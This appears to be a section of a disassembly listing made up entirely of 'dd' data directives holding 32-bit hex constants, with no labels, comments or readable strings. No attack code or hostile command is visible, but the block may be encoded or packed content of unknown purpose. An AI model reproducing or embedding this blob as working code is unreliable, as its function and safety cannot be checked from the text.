		dd 7ED998BAh, 7D580EDBh, 1A40033Fh, 0D0478853h,	0C2361100h
		dd 777661D7h, 0A9800F95h, 38C06F9Eh, 1C60C682h,	0D8C46201h
		dd 2B563ABDh, 59EE0860h, 3900C412h, 65DACBC3h, 280079E8h
		dd 82E33B92h, 9F8E67h, 74A03C0Ch, 1FC7657Fh, 8F7CD505h
		dd 0EA802B20h, 5A1BBA8h, 0A9F62418h, 32088105h,	34EBE9F5h
		dd 0DC12DFE8h, 785C9D25h, 67AD31C0h, 6D5DE9h, 1E159474h
		dd 213819B4h, 28A17E01h, 7951E896h, 914DBD40h, 0EC9402FCh
		dd 0D45FFEB0h, 0A8433860h, 0EE00B8F2h, 2D50C805h, 0F112E65h
		dd 8ACCAD0Dh, 0B19967h,	0FEAE925Ch, 7EA3A1Ch, 0D8FF003Ah
		dd 6E65BB16h, 0BE59005Dh, 0AC53C21Ah, 3F0F6D97h, 20E5A0EFh
		dd 81BF9320h, 1C7B09h, 9B6E7FDDh, 908AC331h, 0C700D7B8h
		dd 0D89C5A26h, 3B4E6619h, 18801281h, 5488E55Ch,	0FCE976C9h
		dd 49908AB0h, 80477539h, 62D7F2C0h, 170A0Eh, 0FB82FD6Ch
		dd 0C9F06E83h, 9A073102h, 0C00B03C2h, 0B6D43Ch,	5D61046Bh
		dd 565578E3h, 0C357E8CEh, 0D80D1A35h, 3D1ACD8h,	0A6BF0697h
		dd 7C00F705h, 98E84FAFh, 0FA35Dh, 9A82F6BBh, 0B2159B0Dh
		dd 690968B8h, 81B66443h, 8E7008BEh, 0D15C60FEh,	2B894098h
		dd 8E0A5Ch, 0C137EA0Ch,	3F23D0h, 0EDCDC4FDh, 0ADC52BD5h
		dd 5E547200h, 1D88BC25h, 1FF417A5h, 48C00076h, 0F6ADB33Dh
		dd 129AECFDh, 0D4880D19h, 0FFD0D538h, 0AC475897h, 88AFE00h
		dd 55CD960Bh, 0AE1DEC90h, 0CC0E56Ah, 66B21488h,	386400BAh
		dd 0F5EEEBCh, 3A0027D5h, 0F5444284h, 1CA8FA4Eh,	82898A14h
		dd 397EBA93h, 9AA1E240h, 569BEA00h, 965CFACBh, 0D0C9181Ch
		dd 3AE83186h, 0C9007ECh, 0B06A8C00h, 9B9A9F31h,	5F7D0E4Ch
		dd 2B025633h, 9560B2C1h, 1C010371h, 2F97E7E8h, 0BED4953Fh
		dd 700100E2h, 98D97550h, 4C5CE974h, 0F9630011h,	6C8994B0h
		dd 5A230F0Ah, 7060D640h, 0A77A4439h, 0DC575E00h, 243C82A1h
		dd 5C560050h, 0F0778637h, 6203763Dh, 4FB6A713h,	6810B84Eh
		dd 10828BAh, 266605B8h,	5B4522h, 0B8B4BBFAh, 0DD3ED1C9h
		dd 0C4539E4Bh, 100D8840h, 0AFAC15h, 6E77A845h, 0DE299808h
		dd 0F57DFB1Eh, 90AB7AC0h, 0C0FEEACDh, 0E8478611h, 8E049561h
		dd 0B07CD752h, 7299CB0h, 0CA3E02BDh, 80E9845Bh,	48D4C80Ch
		dd 20547A07h, 1CD0F6B2h, 1F52668h, 0AB0127F0h, 205E65D4h
		dd 0BB50EFF8h, 810294BCh, 6B488FBEh, 5BD44035h,	908FA7Fh
		dd 4BAA211Ah, 38E848A8h, 511DF503h, 4901FAFh, 0EF00E012h
		dd 0FACEC67Fh, 13A8D8EAh, 0D1C02E6Fh, 34556230h, 0A6022B38h
		dd 3F18ABD2h, 11644864h, 47600076h, 3CCDE074h, 0AB00CBC7h
		dd 0AE7B21DCh, 0ECD1A483h, 5878E0A7h, 0A100C04Bh, 0F5D4E396h
		dd 0B8144103h, 0CA0AFFh, 9F495460h, 2FEAF22h, 69314025h
		dd 0E8508DB8h, 6C2E1A00h, 45AB673Ch, 0D3F2EAh, 3E9D2B93h
		dd 962A55F0h, 5100027Ch, 8C316B60h, 0B2B763Bh, 0C88F87ABh
		dd 61FC4880h, 5E004236h, 7676BE2h, 1551E9h, 292B7F7Bh
		dd 17D17CB7h, 83408B3Dh, 0A904C14Bh, 2DB6C82Ah,	0C3E703DAh
		dd 0D870B8F6h, 9BB3BA0Eh, 0CB8C00FCh, 73B0A2h, 8F68D41h
		dd 56880B72h, 0F814DD1Ch, 0E043E9CEh, 7A308EB7h, 814507F0h
		dd 5797A3A2h, 0D8DD1063h, 9C008F5Ch, 0CBC6665h,	98E528BBh
		dd 577748FCh, 21E816h, 0C134830Ch, 0F30C3332h, 1084FC20h
		dd 5E2600E1h, 415F36C8h, 0E20E3B2Ah, 0A08F8045h, 9DC3171h
		dd 64EB0129h, 7DD61CC7h, 681FE09Ah, 0EC0046F4h,	80DB6C13h
		dd 0D840C0h, 230B8814h,	2B42BBC3h, 125A6301h, 6DA50599h
		dd 907FECh, 0F1325804h,	7C80ECBh, 0DE634800h, 276224DFh
		dd 0E70B005Fh, 5C58EB06h, 61E6C3FAh, 6920BA02h,	8066A30Ah
		dd 84EE343Ch, 35CD00A8h, 5C245264h, 2700DCE1h, 7B145FB8h
		dd 2C457E3Ah, 80FB6CD1h, 68B5A02h, 0F60733F2h, 0EE44EAF9h
		dd 0C040037Bh, 80C7FB55h, 0CCCD65h, 0B4FA916Ah,	76B7B65Fh
		dd 0F200109Eh, 196BF18h, 0B8AA1D77h, 3A45406Bh,	0EB357E36h
		dd 0B6A98500h, 95669452h, 0F4D32662h, 5E27028Ch, 58008C09h
		dd 0E429E0Ch, 0C7F9C121h, 95978140h, 47F6E172h,	9D00F698h
		dd 0A5C42045h, 0ED447Dh, 0EBFB8C5Ah, 0F460835Eh, 9807B730h
		dd 0F9AD68h, 5BB20F24h,	0EFD1FD50h, 0F6F8E301h,	0AB1C01Eh
		dd 63B6C8h, 9092CDA9h, 67610B9Fh, 9A831D0Fh, 6B79203Eh
		dd 155EE3h, 5B803969h, 0C79D7766h, 0C419BF00h, 76D7AA9h
		dd 373100EDh, 4B3AC203h, 12E86BFEh, 56519A0Dh, 90DBF0D1h
		dd 4CC28A5h, 401A5DB7h,	0E27CC0EDh, 34000BDFh, 0DA3389CEh
		dd 2B1E1Ch, 2096A730h, 18600C2Fh, 0F9D9E800h, 41D01493h
		dd 0F834631Eh, 238087B8h, 3B00644Fh, 29DA2B63h,	0FF166Ah
		dd 0E7B83037h, 2EF48B44h, 0BBF1F600h, 50B303ACh, 1C4D7165h
		dd 1410EEh, 40E4811Bh, 0A507FFCBh, 3F487057h, 49395460h
		dd 0DAE8BFh, 11ACFC7Eh,	3BB2E197h, 1E9B4700h, 49C23014h
		dd 0F4FD9042h, 0B01D1361h, 717440D7h, 37E50E7Bh, 0EA95C800h
		dd 23691467h, 6DE4EEh, 904B805Bh, 0F122CC53h, 1B8AF003h
		dd 0B0FE20A3h, 0B566C5h, 0DE954531h, 4BC2925Bh,	18C4000h
		dd 0BAF58035h, 755478E3h, 0A7825C64h, 0D2810839h, 0E1C9554Eh
		dd 1DE86C2Fh, 2200E60Eh, 7BCBFD0Fh, 7A130032h, 0E217048Bh
		dd 1C00CDA6h, 233E1FB4h, 7B02A856h, 0A2FE0091h,	7FBCA3E0h
		dd 4E4E1179h, 0BD90F000h, 1FAA1007h, 0C0636E96h, 0A7EFC793h
		dd 0F300C1C3h, 8F2E513Fh, 3665CB9h, 0A6829FF2h,	18880BF4h
		dd 0E03D4EBh, 6FAF85D9h, 24F7F036h, 0BBE800D0h,	581C3BF2h
		dd 0C9004374h, 10A62AE9h, 766656E4h, 0EBBC057Dh, 0D03BF581h
		dd 52ECA008h, 0FB225100h
		dd 9F87F72Ch, 5B6F17E0h, 2DB1D0Bh, 2B991DB2h, 0C3308480h
		dd 0DB5CC560h, 13005803h, 0F30009FEh, 64819CA8h, 7E2D7E10h
		dd 0F3570915h, 778FCAA9h, 0F4FA5D22h, 6E3C30E8h, 0C0750402h
		dd 0E0074628h, 1DE219C8h, 2834EA41h, 0A55A00D4h, 3A6A2699h
		dd 0DE79EB1Eh, 2D13270Ch, 73020C0h, 0DFC7427Bh,	7D62F69h
		dd 0A75C6860h, 38A0A04Eh, 5800CAAFh, 0BB62F3Dh,	67689B92h
		dd 8084A06Ah, 0CBA5E75Ah, 94C8D600h, 72DB9E62h,	0D54B3D60h
		dd 7A4900F0h, 3AACF584h, 9007EFFh, 0AED71F22h, 3A26BEF1h
		dd 3709D9DFh, 10042562h, 8EC4E4A2h, 86E72F00h, 149585F9h
		dd 3CA70026h, 0A6F2946Dh, 78F6EEC7h, 0AB002C96h, 4CB3A0BAh
		dd 57B6000Fh, 344E6089h, 7D00A270h, 56FF0102h, 0E17CC569h
		dd 90D1E0h, 0A53E39Ah, 85AD3719h, 6B945050h, 92053370h
		dd 297BDE3Ch, 0D5E48800h, 56CFCDh, 49E36572h, 2D615388h
		dd 0BE09931Fh, 318DC9h,	9D21F178h, 3694B80h, 5AE3338Ch
		dd 5FDF03D8h, 978FEE01h, 8408AFC3h, 0FE7988D0h,	0E0F20069h
		dd 0A34255CBh, 5007A4Ah, 0F5A22775h, 0B069C62Bh, 0D67200C8h
		dd 3F3448A1h, 2F009025h, 7AF9CDAAh, 328F99h, 6684512Ch
		dd 27968D8Ch, 0D1245000h, 7C19F2A3h, 1BDE037Dh,	51CB9D43h
		dd 95FE3CE8h, 0B9C0BE7Bh, 77182F42h, 0D76F0E82h, 0F4606AB7h
		dd 4764CB6Eh, 3E4D7348h, 0FEDD8067h, 46D16994h,	0A790019h
		dd 3984C3FFh, 0FC3B526Eh, 40BD80A0h, 98A65961h,	0AC6A0C21h
		dd 48692630h, 0E764DB00h, 5792898Ch, 3327890h, 7A339A51h
		dd 0F17E2845h, 0D8B40E26h, 7303AB26h, 0A88078E1h, 0E5BA65h
		dd 0EEC1086Dh, 6ECB0470h, 56574509h, 14C42Dh, 0B50BD9E3h
		dd 8F968588h, 2EED2C0Ch, 30BAB07Ah, 0FB91B0BFh,	0D52FD25Bh
		dd 0CB38A029h, 0A326FD3h, 0E30D863Fh, 0C0C61CEDh, 0B7F94903h
		dd 1B00FAB1h, 0E85220E0h, 1911DCh, 2A234C64h, 1B49A03h
		dd 46AF3C03h, 0C0AB29B2h, 21B9D6h, 8B051157h, 0E9D3409Bh
		dd 79D2E809h, 0CEB70387h, 9D76D015h, 71C004Dh, 6A867762h
		dd 6CB089D9h, 7036A109h, 0E70E347h, 3BEA575Ch, 34A001Fh
		dd 0BA1778B1h, 496225h,	8144DA64h, 23AD00E5h, 248B255Ah
		dd 0AC00C0C9h, 0D08022E1h, 7B0F50h, 0A6FADD2Ch,	1B7E2A8Bh
		dd 0C776AE00h, 0EA134887h, 17B807FDh, 0D09D39C4h, 65BAC1F7h
		dd 3245E101h, 12CA7366h, 0A6E8D4h, 9259F405h, 36A0DE7Fh
		dd 0EFE2A300h, 11563121h, 40CC381Ch, 0A1FF4418h, 9A049184h
		dd 75AF69D7h, 0EF0CB0h,	348E09A1h, 564B62CFh, 0C501A47Eh
		dd 1E77EA61h, 3CCCCEC1h, 150A003Bh, 0F53F3771h,	3D32A480h
		dd 0E0595925h, 1395BC4h, 44F02760h, 0C4CC4D12h,	6772F646h
		dd 5473AB00h, 0A2A9DC43h, 30DE012Fh, 0FFE02336h, 82CE8h
		dd 8322696Ch, 3A983FF1h, 48BF9CABh, 65374E0Fh, 205E2620h
		dd 0E30753DCh, 0D2108486h, 0A9743F50h, 5C3C01C6h, 3A2D9892h
		dd 8F3ED952h, 0E040FB10h, 8A14830Eh, 7FAE046Dh,	137C42C4h
		dd 571C7F00h, 6C236Eh, 2B3BDA18h, 283036ECh, 0AE4FCB09h
		dd 0F55868C7h, 0F078020Dh, 0E1F4DB97h, 2973E460h, 76EA900h
		dd 77485EE6h, 44B6009Ah, 271B0343h, 88D89D7Bh, 0B47BEF8h
		dd 0AFCEDA48h, 6670FC00h, 0E3012349h, 0E6767BDBh, 0E08B03C7h
		dd 0F825B39Ch, 8359C0A4h, 0A90CFA8Fh, 91E36A60h, 6F5004Dh
		dd 1486477Bh, 36F6BD9Bh, 138EBC00h, 8A156F4Fh, 61E71537h
		dd 7F80F812h, 98595646h, 0F42A1E09h, 0ACB860A7h, 14947B3Fh
		dd 0FC67BAA5h, 531EC0Eh, 0FB20596Eh, 692CA1D2h,	718C5F54h
		dd 0BF66D88h, 3AA5CFE4h, 0FD988F80h, 7460C10Dh,	75E142A0h
		dd 1F07021Dh, 0DAB0CB63h, 444370B8h, 1524A09h, 422800E0h
		dd 49B118DFh, 0C90030A7h, 6B810340h, 8400874Eh,	47DC1275h
		dd 3B95564h, 46E2511Dh,	6E90F09Ch, 3EEE547Eh, 1CBA2A00h
		dd 5FCADE9Bh, 1A49865h,	1D9E268Eh, 0F478BBBCh, 580011F6h
		dd 83B5533h, 0B168F17h,	7E283120h, 5B53FC80h, 0DB24DECCh
		dd 9400FD48h, 44313023h, 0DCE7067Ah, 11BBA688h,	338FC700h
		dd 0C13D2D58h, 304B3C28h, 683E8A00h, 5803FF6h, 0F35C5Ch
		dd 0A8DE183Dh, 2E8BF515h, 7C743Ah, 1A350283h, 115D8CD1h
		dd 66E509DCh, 0EF144071h, 0CB320085h, 7696D8C6h, 0E349C0E7h
		dd 49750044h, 24337A7Bh, 8B1D1C86h, 12818047h, 9ED66C21h
		dd 6F007E7Eh, 8C542448h, 18DBAAE1h, 6813B5CBh, 2801427Ch
		dd 2E1D38A4h, 78205DACh, 0CC7A5003h, 0FC70EDAAh, 0F020013h
		dd 63BFAE14h, 0FC3C7382h, 0A4C5010Eh, 0EBBB3F3Eh, 787C77FCh
		dd 3C6F0040h, 2862CDE3h, 0ECED22FAh, 0F0CED53h,	1158A6C7h
		dd 901050EEh, 9BDB0026h, 5AC0C381h, 0C902F7C6h,	977C66B4h
		dd 0A5DCE03Bh, 37931212h, 0E4952Ch, 0A787EF72h,	44007277h
		dd 2E0A555Ah, 0E899266Bh, 0ECE712D2h, 10540BA8h, 6113B048h
		dd 0D8002CE4h, 2F40661Ah, 1CEF785h, 60413172h, 0E868C945h
		dd 3B007CB9h, 0A0E93314h, 9FD9A4h, 7DAAB35Ah, 6A1F3A6h
		dd 4E77FCA0h, 9AE62700h, 0E2990A59h, 92335070h,	731E0311h
		dd 0CCDD18A3h, 5F146107h, 0E2922606h, 0D87883h,	0CC201E7Fh
		dd 5E9E0DBFh, 4FDF2E00h, 289D053Ah, 45DF418h, 0F371017Eh
		dd 7C04F040h, 64CE0086h, 4F4ABD89h, 8E016150h, 0AF589A9Eh
		dd 7DC1F3Ch, 8AB501FFh,	0FE449C0Fh, 0D925E072h,	0D3004FFCh
		dd 9BC53FA2h, 0EC7E55ECh, 5D5800DCh, 2FFEC6C3h,	40C0E5F1h
		dd 7EB3FDE8h, 0E6A1CE2h, 0CE6280B1h, 3C88354Fh,	410389B8h
		dd 1D975851h, 0DF5DE02Dh, 2F4F833h, 0B2556766h,	5360F30Dh
		dd 0DD7B8315h, 2EFFF707h, 1D123D90h, 3C5C26h, 35746FCCh
		dd 4C98EBF3h, 0F5E60D09h, 3C885285h, 52F8048h, 0E4592080h
		dd 149A6BC7h, 4B120303h, 0A8FCE22Ah, 16938CA1h,	0C0496990h
		dd 6BEE2D58h, 500AB7Ah,	89E9E212h, 7E32963Fh, 0E60C7BFDh
		dd 0F5CD01C6h, 7228CCEBh, 391C3258h, 0EC888914h, 0E1980012h
		dd 31A093Dh, 73A1DB72h,	16E87448h, 0AE020702h, 5A426C9Fh
		dd 7068683Dh, 968201CDh, 526B8643h, 0E1AC46EBh,	0E251AC81h
		dd 8108B0CEh, 0AC583EA5h, 0EDC801C8h, 342632A2h, 0FBFA6BFCh
		dd 0E4301D71h, 70A429DFh, 4877C6Fh, 0EAE8217Dh,	9224D004h
		dd 3B000A3Dh, 403C5BFAh, 26604Eh, 90F4CEF1h, 3F8C0124h
		dd 0A91C0309h, 6238A1BDh, 0B4352856h, 10EAFD4h,	0FB9AAAF0h
		dd 6276C703h, 2F968390h, 289495ECh, 0A60278B8h,	1DF71319h
		dd 31632CA7h, 0E6A1DC21h, 0EB969B80h, 20A695B3h, 2B7C70Fh
		dd 135C800Ch, 0FD3C8Fh,	0F89C03CAh, 64E22609h, 0F7C1D300h
		dd 27DA817Dh, 82905Bh, 65CA1606h, 0E5C404Ch, 3B5480A8h
		dd 88140700h, 46DA728Ah, 0E1FD13E5h, 30A613E6h,	0CB46AE8h
		dd 359F818h, 5CFCE89h, 53DB512Bh, 0D211C01Eh, 7D00E7E4h
		dd 0E5FC4AC2h, 0C29505Dh, 19DE7445h, 0A805671h,	7D90B1h
		dd 1E020368h, 9ACD6C5h,	0E08D7D3Eh, 0D453CA70h,	73E0198h
		dd 0C915F1BAh, 0DC307296h, 9531D4C0h, 96B20Fh, 59F7D025h
		dd 8399E6Ch, 0E661A800h, 0E9DBFB8Ah, 41860B7Ch,	2881BB7Fh
		dd 3A30D3ACh, 47C98000h, 4935C2F5h, 710290AFh, 8B770BC3h
		dd 0CC09FCF0h, 20E17259h, 84BF6298h, 0D2240091h, 79BCCA6Dh
		dd 0CE00B9D5h, 6790263Eh, 60F7E2D1h, 0DB8319Bh,	88B2899Ch
		dd 0A42A1613h, 2B4ADC00h
		dd 2015FF8h, 0CA21FCFFh, 0B856C067h, 7DEA3300h,	168453B0h
		dd 4416280Fh, 95A67990h, 3864092Ch, 0C085F824h,	2276FF8h
		dd 0F7A80100h, 18623A78h, 36C1317Bh, 41CC6E30h,	60E13D74h
		dd 5203FB78h, 7C53A222h, 3264D84Ch, 30EAF802h, 0A810BEC5h
		dd 7002A3Ch, 0F95CB108h, 8883CFCAh, 0A3792BEBh,	0AB0F9100h
		dd 0F49AFF8Ah, 9840E752h, 28826h, 90037AC3h, 753AD2ABh
		dd 0B0F44A00h, 558F1816h, 0F0C7009Ah, 965907E6h, 8002C108h
		dd 1BEB79C5h, 70D0E02Eh, 6B18C095h, 0DDD2B974h,	0EF03060h
		dd 3F8A70Fh, 4E28DB46h,	1EDA747Eh, 65016476h, 0FE8A603Fh
		dd 221D6D8h, 0F8AB0ADFh, 44401D76h, 923EF2CEh, 2090CE46h
		dd 1C998805h, 5BB208h, 822E4861h, 402C5AECh, 67014E54h
		dd 0AF9CB6FFh, 0B20BE4h, 41948803h, 89D64438h, 52E40A50h
		dd 0A8C0154Eh, 0B5B089Dh, 0DF8077E0h, 0DA0ECAEh, 0BF576586h
		dd 0C895F703h, 89CB757Bh, 6EE8ACD9h, 85EC964Ah,	0B077B4B0h
		dd 0D076DAA0h, 3561D42Ch, 82878B00h, 0B4926FA8h, 3592A8h
		dd 0BFF1780h, 7E61AC0h,	69EFB200h, 0BEE2A055h, 60731F79h
		dd 0F3AE807Fh, 1CA1C73Dh, 91F97E02h, 0C082D887h, 0F2440368h
		dd 0E3D30048h, 8C9BBBFEh, 54B20D63h, 539EBE1Fh,	0AB526CC0h
		dd 58090F08h, 40137481h, 0D41205h, 5276BFFCh, 7C03A3F5h
		dd 5B668B06h, 0AC94912Ch, 71048450h, 0B4673052h, 0CB68A311h
		dd 0ADD61400h, 60B3C632h, 6C2E0915h, 3C400EBEh,	0FA0FA691h
		dd 734B8h, 10389CBh, 51530011h,	857C9F54h, 4CB0664Ah, 0D690DE00h
		dd 93A17DA3h, 7FA707ECh, 11A53528h, 0E56F018Ch,	509C415Eh
		dd 6D79C0F5h, 870078B0h, 5FB39A2Bh, 1398DC15h, 13F3E6BAh
		dd 9305EE78h, 8802B922h, 0C3252E59h, 609BCDE9h,	0DE6AB300h
		dd 0FE7CF616h, 1DE23309h, 18720020h, 7A3A9A1h, 919245FBh
		dd 6035A754h, 0C9E6F48Bh, 302D109Ch, 4C062C88h,	0B758CB2h
		dd 0D3D6DCEBh, 20F6822h, 0A3E6B20h, 9A4EEE0Dh, 188701D4h
		dd 0DFDAD5ACh, 0F4886594h, 0B8C32A36h, 0B07912E4h, 16B188Bh
		dd 524DB0B4h, 0FAAACCB7h, 0C98078D4h, 558E0241h, 0CFAC049Fh
		dd 0CAECFAD9h, 0CD3506C8h, 0B790D52h, 4830D8C7h, 56E01007h
		dd 1004196Ch, 0C378ECE1h, 9BA2CCC3h, 0E295E086h, 8DF1019Ch
		dd 2A5D5EE4h, 711C4CDCh, 402EF613h, 0AD1F7840h,	4D63A6Ah
		dd 0ACE042CEh, 7018B488h, 0DB739A00h, 0A84331AAh, 0CB990003h
		dd 0AE0F2C50h, 7027E18Ah, 33B4803Bh, 1923DA1Dh,	0F14272E0h
		dd 62C0588Fh, 581E792Eh, 4A68A0AFh, 2A454CC7h, 2880F5DEh
		dd 0E298C36Bh, 4B4E2777h, 0C02C1414h, 0ED943C71h, 0C368D8ACh
		dd 0DB430BB4h, 894F30Fh, 81982D97h, 298012Eh, 60E60769h
		dd 5BF445B0h, 0E4210461h, 98506834h, 11F2EDh, 69FD3E01h
		dd 170AEC22h, 55580B1Ah, 0A9D46020h, 0C9905Bh, 0B9A41036h
		dd 0FBDA0378h, 0CBC0061Ch, 0EAAD8CB9h, 9614B059h, 12DC877Ch
		dd 0C24B11Ch, 0DE98648Bh, 8AF0670Eh, 2556A033h,	7901076h
		dd 786FADF5h, 0A421BB8Dh, 6CBF0A81h, 7C5000D8h,	2B9285F7h
		dd 0BC89B063h, 0A61360h, 7787B6A4h, 400694E2h, 0AD31EE29h
		dd 3BAA0318h, 0ACC69597h, 0B9A21000h, 2F3D022Bh, 32E10047h
		dd 50115E89h, 245AE2A3h, 0A7454800h, 60F12093h,	363149AAh
		dd 2E2CCC8Eh, 5F08ACC1h, 0E5C288A7h, 6DD897E1h,	1FFB434h
		dd 324803F6h, 807A241Ch, 0B7A81D29h, 153842h, 3EF8D468h
		dd 76D18ACDh, 4F8E2E00h, 56CC6710h, 2D44004Dh, 83153266h
		dd 8FECDF41h, 2B7E5D00h, 46868B13h, 0E5D104ECh,	0BC14AB1Bh
		dd 0E2590178h, 877ECF69h, 7520206Dh, 0F4A559h, 0E4318CB5h
		dd 8D2560h, 225DB80Dh, 2D9DF9CDh, 0E33BA200h, 0C07BAA42h
		dd 1A7000E5h, 4876B7B2h, 272EFAF6h, 6E03646Bh, 0FE2D4EDAh
		dd 0EB6D0011h, 8345485Dh, 0EE0076D3h, 0B0DC938Ah, 1F8C3FACh
		dd 17C0792Ah, 38080034h, 0CD37201Bh, 689A6F0Fh,	0D24DC06Ah
		dd 39C8E286h, 0F59D2EABh, 3DA741AFh, 205F5EEAh,	22EE7084h
		dd 971B0513h, 3D3E68E0h, 0EF867EC7h, 24A7C15Ch,	0AB559006h
		dd 786B317h, 1D9305A2h,	710680BAh, 0AE1CFC4Bh, 680037CBh
		dd 880FFA86h, 81A016D9h, 0C8B264h, 7E4D8BEBh, 0F678EAAEh
		dd 10CC00FAh, 963EA9D2h, 0C50F71DCh, 89DD2605h,	0D944C174h
		dd 0CDB84E6Bh, 221AAC1h, 4598C189h, 24A480ABh, 0EF0F866Fh
		dd 8AFEE5A7h, 16008806h, 46B39E01h, 1C7A034Ah, 0A9FFA220h
		dd 0EBAA1100h, 1EC17593h, 0F1D70055h, 0BDF4738Ch, 72098E14h
		dd 0E0E8FA37h, 0DA8344h, 0A2A13FAAh, 34356BFDh,	28FA6200h
		dd 85E06F6Ch, 8B8A0214h, 0C1322584h, 0AA952060h, 0DDC4F61Dh
		dd 0B41D123Fh, 0E713BF00h, 485E02F2h, 0F1E2014h, 91680090h
		dd 0B86DDD65h, 313FC07h, 40CEFDD8h, 579C4EE7h, 0EC68002Eh
		dd 3F756E5Eh, 0BB000D48h, 0BD0EAFE9h, 0D89F82h,	438DE0DCh
		dd 0AED34ED0h, 3F1D1900h, 5DD58445h, 38F00A65h,	3898724Dh
		dd 26EA8B00h, 25BA7367h, 1AD1E000h, 0E3C5F92Bh,	33B80191h
		dd 1C0A4B8Ah, 20248F5Fh, 7900DE27h, 0C8CAD64Eh,	6764005Bh
		dd 152442FDh, 750006F2h, 58CCB49Bh, 772E37A5h, 70E7006Ah
		dd 716C82ADh, 0C00075DAh, 0CFB73C90h, 73892D4h,	20F7F39Fh
		dd 75B9406Ch, 7EE411D9h, 0AA935D00h, 0DC108F7Ch, 52275FFh
		dd 80BD262Fh, 6AB88071h, 432EA9AEh, 0C1019504h,	20C63D0Eh
		dd 2A6020h, 0F958ADD5h,	0B8ACA9A2h, 0C20E390Fh,	54FC0DFh
		dd 93FDBFEh, 51A88927h,	0EF542C82h, 5704C87Eh, 36855F22h
		dd 748B8482h, 0E58E82DCh, 11C03395h, 0BFE17Dh, 0CD68F874h
		dd 897B3Ch, 61F3E70h, 745FD24Ch, 7A440B00h, 0E54B325Bh
		dd 0C651169Ah, 42104099h, 71ACEB03h, 93CD2B00h,	5B621746h
		dd 1D541658h, 0C364002Eh, 489BC63h, 1F9A9F04h, 3480AC53h
		dd 7F5F45Bh, 0CDAE316Bh, 0DF07F0AAh, 38008CA2h,	0BD0C2A83h
		dd 4BD2F546h, 74FCFC08h, 357D6B13h, 4841B009h, 4ADB5A8h
		dd 243BD96h, 3984A829h,	0EE04803Ah, 51A07ED5h, 0CD1D1277h
		dd 20C4A59Ch, 8001E173h, 0AE8EDA6Bh, 7FC945FFh,	84F430h
		dd 259674D3h, 725EFA15h, 26146300h, 4A230A6Fh, 127EEBBh
		dd 0FA767B65h, 0F0A5C12Dh, 0E130443Ch, 0C47AC009h, 40CB0094h
		dd 0A183AF85h, 0E63FCF1Fh, 11DA243h, 0E4FEF721h, 0DA4D9A47h
		dd 8BA159C0h, 3036E200h, 8FA4311Ch, 3DE0335h, 327D16F0h
		dd 0DDCDA790h, 46908097h, 33A8921h, 24E04DEEh, 0C0007862h
		dd 965572E4h, 82672Fh, 0A36129CDh, 76DCD2E9h, 0A0925C30h
		dd 3B8F17C8h, 550008AFh, 0C134BB07h, 0CF4E2AF5h, 64BA2CC0h
		dd 5F7943h, 0DB33B0BCh,	0DEA5608Ah, 0E3C66900h,	0F7681F2Ch
		dd 64581EFFh, 2520C133h, 81C35056h, 0B6D58BF0h,	0A9023A95h
		dd 0D92A8DCh, 1F5B70A0h, 436A015Ah, 29B992A8h, 8B062B80h
		dd 25004FF4h, 751EF5B5h, 33452Ah, 3D8C919h, 57C673E2h
		dd 0D817AC2Ah, 0CCEB6C16h, 23B44F2h, 6E518705h,	5A80A429h
		dd 0F99A5D00h, 3EF49923h, 0B6CD13DBh, 2E4CE48Fh, 2FECD100h
		dd 61318593h, 304500FCh, 0DBAC2453h, 4907D316h,	4384392Ch
		dd 0CDF1A4EEh, 0A4038080h, 0D5CA006Fh, 813A294Ah, 887BF208h
		dd 2B61D90Eh, 80C74976h, 34484CA4h, 58AC1617h, 0D85A00A6h
		dd 6544B1CAh, 86EE8407h, 0DF232772h, 0F83000E1h, 0CFE7FC0Ch
		dd 0A7009621h
		dd 1E6DCB3Ch, 7F4DCDB4h, 7D2E2C28h, 60270010h, 89127644h
		dd 0E82DE725h, 52DE74h,	35925BDh, 183388FDh, 5A9A8105h
		dd 0FD05B055h, 48D0DF62h, 1C79E49Fh, 0CEF8D338h, 0D24BC9C2h
		dd 62E0580Fh, 0C12CFD3Bh, 1B6ED900h, 0ADD6C4CBh, 3ECEEBFh
		dd 8F3BB974h, 4BB88C55h, 0B400ABFDh, 31591FFEh,	0AA1505h
		dd 569DB8F2h, 8802B16Dh, 0BD03A8F4h, 8F200744h,	0B0A08BEAh
		dd 9594049h, 0D0D37557h, 7A76AC61h, 90803064h, 0E69FAFF0h
		dd 39E42604h, 0BAC58E44h, 57940FC1h, 0D110845Ch, 0EA2273h
		dd 6E855DA6h, 0EA000266h, 0BAEE0A5Ah, 1442DA6Fh, 98A7295Bh
		dd 52D91301h, 0D8E38373h, 5006D2Fh, 0C29984FFh,	3BE57ACh
		dd 0DC684F47h, 0CEA0647Fh, 8B022C46h, 8054861Dh, 0E6456027h
		dd 1A49087h, 0F3713B8Ch, 707B3C38h, 0DE00E334h,	35D14C9Fh
		dd 0F6A074h, 972CC5AAh,	328C819Ch, 0BC3C96h, 47B0A511h
		dd 26E118F5h, 3D98FCD6h, 74407500h, 9DFEE03Dh, 0DBBC2C1Ch
		dd 0F885B0C0h, 121F035h, 0FA280B16h, 3F9ED2CDh,	0F12FEC00h
		dd 0A7953Eh, 46328079h,	59EA8E4Ch, 0FA081900h, 2DF725F4h
		dd 0E2C10015h, 0BF1B8B23h, 0C6015554h, 9E3970CFh, 53DC2243h
		dd 197A2E62h, 6AB40009h, 9A03B0B7h, 21499600h, 559F5787h
		dd 50E0E65Ah, 0F61CE05Ch, 2E962DEAh, 3BB41448h,	2B547A13h
		dd 1D4600A0h, 40F95E5Dh, 0DDA884F5h, 0C0725F93h, 50BB0A1Eh
		dd 9E1CE1E7h, 2C275E20h, 5481A3Ch, 0BC136A93h, 4540003Ch
		dd 0C30E489Fh, 2D1C0081h, 3D27973Fh, 490113FBh,	33C2F556h
		dd 2C302CE5h, 8CB609EFh, 0DE022203h, 0B080E66Ch, 850E051Ah
		dd 0B7569802h, 0FCBD2BAEh, 0F32E7090h, 7C715Ch,	0A7D802CDh
		dd 7C36689Ah, 0B2C5A18h, 0E0F11694h, 81ED5003h,	0C56EA8EEh
		dd 999C0106h, 160C19E4h, 641820B1h, 0DC1A3Ah, 0D3A8CDC2h
		dd 13D8CAh, 6371DAF7h, 0E51B244Ah, 0CBEE2778h, 8E5ACC03h
		dd 0E77E2339h, 255F4D30h, 0F9FE003Ch, 0B9E4B0A6h, 0B2397582h
		dd 11060019h, 0B6BA6322h, 0A26E49Fh, 56A2BE09h,	0A38201D8h
		dd 5D8A0Bh, 0CDD0F4h, 427786AEh, 0E3EC183Fh, 3AB930Eh
		dd 0EEBAA091h, 547405h,	815CDD49h, 183778E5h, 9CED0715h
